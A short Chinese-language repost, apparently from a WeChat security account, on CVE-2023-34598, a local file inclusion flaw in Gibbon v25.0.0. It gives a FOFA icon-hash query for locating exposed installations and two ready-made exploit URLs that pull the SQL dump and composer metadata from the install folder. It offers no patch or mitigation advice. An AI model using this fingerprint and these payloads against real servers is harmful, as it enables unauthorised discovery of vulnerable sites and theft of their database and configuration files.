简介

Gibbon v25.0.0 容易受到本地文件包含 （LFI） 漏洞的影响，在该漏洞中，可以在服务器的响应中包含安装文件夹中存在的多个文件的内容。

检查命令

fofa：icon_hash="-165631681"

漏洞复现

请务必注意，此漏洞仅对位于安装文件夹中和特定条件下的文件有效，例如，不包括 PHP 文件。

https://ip/?q=./gibbon.sql

https://ip/?q=./vendor/composer/installed.json

原文始发于微信公众号（小白安全工具）：Gibbon本地文件包含 - CVE-2023-34598